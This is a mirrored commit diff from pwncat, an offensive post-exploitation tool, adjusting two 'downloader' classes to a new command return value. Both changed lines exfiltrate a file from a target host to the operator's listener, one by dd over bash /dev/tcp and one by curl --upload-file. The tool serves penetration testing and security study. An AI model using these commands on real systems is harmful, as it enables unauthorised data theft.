mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 09:35:39 +01:00
Fixed other downloaders for the new command return value
This commit is contained in:
parent
09a071b6e6
commit
dfdbb92eb6
@ -17,7 +17,4 @@ class BashTCPDownloader(RawDownloader):
|
|||||||
lport = self.server.server_address[1]
|
lport = self.server.server_address[1]
|
||||||
remote_path = shlex.quote(self.remote_path)
|
remote_path = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
self.pty.run(
|
self.pty.run(f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,)
|
||||||
f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,
|
|
||||||
wait=False,
|
|
||||||
)
|
|
||||||
|
@ -18,6 +18,4 @@ class CurlDownloader(HTTPDownloader):
|
|||||||
curl = self.pty.which("curl")
|
curl = self.pty.which("curl")
|
||||||
remote_path = shlex.quote(self.remote_path)
|
remote_path = shlex.quote(self.remote_path)
|
||||||
|
|
||||||
self.pty.run(
|
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")
|
||||||
f"{curl} --upload-file {remote_path} http://{lhost}:{lport}", wait=False
|
|
||||||
)
|
|
||||||
|
Loading…
Reference in New Issue
Block a user